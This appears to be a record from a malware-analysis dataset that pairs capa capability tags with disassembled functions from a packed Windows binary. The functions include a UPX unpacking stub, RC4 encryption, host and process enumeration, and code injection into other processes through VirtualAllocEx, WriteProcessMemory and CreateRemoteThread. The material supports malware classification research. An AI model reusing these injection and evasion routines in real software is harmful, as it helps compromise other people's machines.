joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1969780
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1254000]
push edi
or ebp, 0xffffffff
jmp 0x19697a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x19697a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1969798
mov eax, 1
add ebx, ebx
jne 0x19697bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x19697cc
jne 0x19697eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x19697eb
dec eax
add ebx, ebx
jne 0x19697d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x19697b0
add ebx, ebx
jne 0x19697e7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x196983d
xor ecx, ecx
sub eax, 3
jb 0x1969803
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1969872
sar eax, 1
mov ebp, eax
jmp 0x196980e
add ebx, ebx
jne 0x196980e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x19697dc
inc ecx
add ebx, ebx
jne 0x196981c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x19697dc
add ebx, ebx
jne 0x1969829
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x196981e
jne 0x196983a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x196981e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x196985c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x196984e
jmp 0x196979e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x196985c
add edi, ecx
jmp 0x196979e
pop esi
mov edi, esi
mov ecx, 0xe42a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x196987a
cmp byte [edi], 0x2c
jne 0x196987a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x196987f
lea edi, [esi + 0x1565000]
mov eax, dword [edi]
or eax, eax
je 0x19698ee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x156c29c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x156c3dc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x19698ac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x156c3e4]
or eax, eax
je 0x19698e8
mov dword [ebx], eax
add ebx, 4
jmp 0x19698c9
call dword [esi + 0x156c3e0]
mov ebp, dword [esi + 0x156c3e8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1969922
sub esp, 0xffffff80
jmp 0x5bca5c
Function at 0xace138
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi]
mov ecx, dword [esi + 4]
test eax, eax
jle 0xace192
push edi
mov edi, dword [ebp + 0x10]
sub dword [ebp + 0xc], edi
mov dword [ebp + 8], eax
mov edi, edi
inc bl
lea edi, [edi + 1]
movzx ebx, bl
mov dl, byte [esi + ebx + 8]
add cl, dl
movzx ecx, cl
mov al, byte [esi + ecx + 8]
mov byte [esi + ebx + 8], al
add al, dl
movzx eax, al
mov byte [esi + ecx + 8], dl
movzx edx, byte [eax + esi + 8]
mov eax, dword [ebp + 0xc]
xor dl, byte [eax + edi - 1]
dec dword [ebp + 8]
mov byte [edi - 1], dl
jne 0xace158
mov eax, dword [ebp + 0x14]
pop edi
mov dword [esi], ebx
mov dword [esi + 4], ecx
pop esi
pop ebx
pop ebp
ret
Function at 0xa511e0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [0xa68800], eax
jne 0xa511fc
jmp 0xa512d0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0xa68800], eax
mov dword [ebp - 4], 0x64
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.00a52630
add esp, 8
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 3
push ecx
push 0xc22a836e
push 0x17
push 0xa645e4
call fcn.00a517f0
add esp, 0xc
push eax
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0xa679e0
call fcn.00a52660
add esp, 4
push 0xfbbec1f2
push 0x1b
push 0xa645fc
call fcn.00a517f0
add esp, 0xc
push eax
push 0xa679e0
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x208]
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [0xa67bec], eax
push 0xa679e0
push 0x33825dca
push 0xa
push 0xa64618
call fcn.00a517f0
add esp, 0xc
push eax
push 0xa685f8
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0xa51500
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.00a511e0
call fcn.00a51000
call fcn.00a51030
push str.MSCTF.MarshalInt
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0xa515a9
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0xa67be8], eax
cmp dword [0xa67be8], 0
je 0xa5159d
push 0
push 0
push 0
push 0xa513f0
push 0
push 0
call fcn.00a54510
add esp, 0x18
mov dword [ebp - 8], eax
push 0
call fcn.00a5bb80
cmp dword [ebp - 8], 0
je 0xa5158c
push 0xffffffffffffffff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 8]
push edx
call fcn.00a51ba0
add esp, 4
call fcn.00a511d0
mov eax, dword [0xa67be8]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00a51ba0
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret 4
Function at 0xa51840
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 1], 0
push 0xffffffffffffffff
mov eax, dword [0xa68c38]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 8], 0
jmp 0xa5186a
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 4
jge 0xa5190c
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
push 0xa68a38
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0xa518ee
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x284]
lea ecx, [eax + eax + 0x288]
mov dword [ebp - 0x10], ecx
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
movzx eax, byte [0xa68a34]
test eax, eax
jne 0xa518da
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov edx, dword [ebp - 0xc]
push edx
call fcn.00a51ba0
add esp, 4
mov byte [ebp - 1], 1
jmp 0xa5190c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0xa51905
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0xa51907
jmp 0xa5190c
jmp 0xa51861
mov eax, dword [0xa68c38]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret

Function at 0xa51f10
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx edx, word [ebp - 0x24]
xor eax, eax
cmp edx, 9
sete al
mov esp, ebp
pop ebp
ret

Function at 0xa51fa0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push 0x437a1527
push 0x2e
push 0xa64684
call fcn.00a517f0
add esp, 0xc
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xa52011
mov dword [ebp - 0xc], 4
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
push 0
push 0
push 0x93376d8c
push 4
push 0xa646b4
call fcn.00a517f0
add esp, 0xc
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0xa52100
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0xff
mov eax, dword [ebp + 8]
push eax
call fcn.00a55280
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0xa52125
xor eax, eax
jmp 0xa52244
push 0x28
mov edx, dword [ebp + 0xc]
push edx
call fcn.00a55190
add esp, 8
movzx eax, al
test eax, eax
jne 0xa52141
xor eax, eax
jmp 0xa52244
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0x10
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0xa52241
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
push 0xd6859929
push 5
push 0xa646c8
call fcn.00a517d0
add esp, 0xc
push eax
lea edx, [ebp - 0x20]
push edx
call fcn.00a56e00
add esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0xa52241
lea eax, [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.00a56f90
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0xa52235
lea eax, [ebp - 0x60]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
movzx edx, byte [ecx + 0xf]
push edx
mov eax, dword [ebp - 0x64]
movzx ecx, byte [eax + 0xe]
push ecx
mov edx, dword [ebp - 0x64]
movzx eax, byte [edx + 0xd]
push eax
mov ecx, dword [ebp - 0x64]
movzx edx, byte [ecx + 0xc]
push edx
mov eax, dword [ebp - 0x64]
movzx ecx, byte [eax + 0xb]
push ecx
mov edx, dword [ebp - 0x64]
movzx eax, byte [edx + 0xa]
push eax
mov ecx, dword [ebp - 0x64]
movzx edx, byte [ecx + 9]
push edx
mov eax, dword [ebp - 0x64]
movzx ecx, byte [eax + 8]
push ecx
mov edx, dword [ebp - 0x64]
movzx eax, word [edx + 6]
push eax
mov ecx, dword [ebp - 0x64]
movzx edx, word [ecx + 4]
push edx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
push ecx
push 0x228b7d78
push 0x32
push 0xa646d0
call fcn.00a517d0
add esp, 0xc
push eax
mov edx, dword [ebp + 0xc]
push edx
call fcn.00a56cb0
add esp, 0x34
mov eax, dword [ebp - 0x20]
push eax
call fcn.00a63970
add esp, 4
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0xa524a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [ebp + 0x10]
shl eax, 1
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00a55190
add esp, 8
movzx edx, al
test edx, edx
jne 0xa524c9
xor eax, eax
jmp 0xa5256f
mov dword [ebp - 8], 0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0xa5256c
mov dword [ebp - 0x238], 0
push 0x228
push 0
lea eax, [ebp - 0x234]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x238], 0x22c
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov eax, dword [ebp - 0x230]
cmp eax, dword [ebp + 8]
jne 0xa5254b
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x214]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCpyNW]
mov dword [ebp - 8], 1
jmp 0xa52560
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0xa52522
mov eax, dword [ebp - 4]
push eax
call fcn.00a51ba0
add esp, 4
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0xa52580
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0xa525a5
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0xa52618
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0xa525da
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0xa5260d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0xa5260b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0xa525d1
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0xa5259c
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret

Function at 0xa52660
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0x208
mov eax, dword [ebp + 8]
push eax
call fcn.00a55190
add esp, 8
movzx ecx, al
test ecx, ecx
je 0xa5268d
mov edx, dword [ebp + 8]
push edx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
pop ebp
ret
Function at 0xa526a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xa65188
push 0xa639f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov eax, 0x6a7d
mov word [ebp - 0x1c], ax
movzx ecx, word [ebp - 0x1c]
xor ecx, 0x3030
mov word [ebp - 0x1c], cx
mov edx, dword [ebp + 8]
xor eax, eax
and edx, 0xfffff000
and eax, 0xf
mov dword [ebp + 8], edx
jmp 0xa52703
mov ecx, dword [ebp + 8]
sub ecx, 0x1000
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1c]
cmp eax, ecx
jne 0xa5274e
mov edx, 0x7560
mov word [ebp - 0x1c], dx
movzx eax, word [ebp - 0x1c]
xor eax, 0x3030
mov word [ebp - 0x1c], ax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx]
movzx edx, word [ebp - 0x1c]
cmp ecx, edx
jne 0xa5274e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
jmp 0xa5276b
jmp 0xa526f7
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xa53630
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
call fcn.00a53260
movzx eax, al
test eax, eax
je 0xa53641
jmp 0xa53684
mov dword [0xa68c74], 0
push 0xa68c50
call fcn.00a54760
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0xa68c78], eax
mov byte [0xa68a35], 1
push 0
push 0
push 0
push 0xa532e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0xa68c70], eax
pop ebp
ret
Function at 0xa53bc0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov byte [ebp - 5], 0
mov eax, dword [ebp + 8]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0xa53c12
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0xa53c0d
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, dword [ebp + 8]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0xa53c0d
jmp 0xa53ccd
jmp 0xa53ccd
mov dword [ebp - 0x430], 0
push 0x424
push 0
lea edx, [ebp - 0x42c]
push edx
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x430], 0x428
lea eax, [ebp - 0x430]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
jne 0xa53c53
jmp 0xa53ccd
push 0x62a7fc43
push 6
push 0xa64744
call fcn.00a517f0
add esp, 0xc
push eax
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0
je 0xa53cb0
push 0x8a76f172
push 4
push 0xa6474c
call fcn.00a517f0
add esp, 0xc
push eax
mov eax, dword [ebp - 0x434]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0xa53cb0
mov byte [ebp - 5], 1
jmp 0xa53cc5
lea ecx, [ebp - 0x430]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0xa53c53
xor eax, eax
jne 0xa53bcd
cmp dword [ebp - 4], 0xffffffff
je 0xa53cdf
mov ecx, dword [ebp - 4]
push ecx
call fcn.00a51ba0
add esp, 4
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret

Function at 0xa53cf0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
jmp 0xa53d06
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x12c
jge 0xa53d45
mov ecx, dword [ebp + 8]
push ecx
call fcn.00a53b00
add esp, 4
test eax, eax
je 0xa53d3b
mov edx, dword [ebp + 0x10]
push edx
call fcn.00a51ba0
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
call fcn.00a51ba0
add esp, 4
mov al, 1
jmp 0xa53d5f
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0xa53cfd
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [ebp + 0xc]
push edx
call fcn.00a51ba0
add esp, 4
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0xa53f30
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00a53080
add esp, 8
test eax, eax
jne 0xa53f56
jmp 0xa54030
push 0x40
push 0x1000
mov edx, dword [ebp + 0x14]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0xa53f7b
jmp 0xa54030
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0xa5400d
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 0x10]
add eax, dword [ebp - 8]
mov dword [ebp + 0xc], eax
mov dword [ebp - 0x10], 0
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0xa53fd6
mov dword [ebp - 4], 1
jmp 0xa54001
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
test eax, eax
jl 0xa54001
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x10]
push eax
call fcn.00a51ba0
add esp, 4
cmp dword [ebp - 4], 0
jne 0xa54028
push 0x8000
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jne 0xa53f3d
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xa54360
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
call fcn.00a52690
push eax
call fcn.00a526a0
add esp, 4
mov dword [ebp - 8], eax
call fcn.00a520c0
call fcn.00a57e40
call fcn.00a53940
test eax, eax
jne 0xa54394
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0xa54381
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x18
call fcn.00a63570
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [sym.imp.ntdll.dll_ZwUnmapViewOfSection]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
mov dword [edx], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0
push 0x40
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x14], eax
push 0x99999999
push 0xa54300
call fcn.00a542c0
add esp, 8
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
call fcn.00a63770
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
push eax
push 0xa54300
mov ecx, dword [ebp - 0x14]
push ecx
call sub.ntdll.dll_memcpy
add esp, 0xc
lea edx, [ebp - 0xc]
push edx
push 0x40
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call fcn.00a51ba0
add esp, 4
push 0xdead
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0xa54510
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 8
call fcn.00a63770
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov dword [edx], eax
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
push 0xa54490
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0xa54568
mov eax, dword [ebp - 4]
push eax
call fcn.00a63970
add esp, 4
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret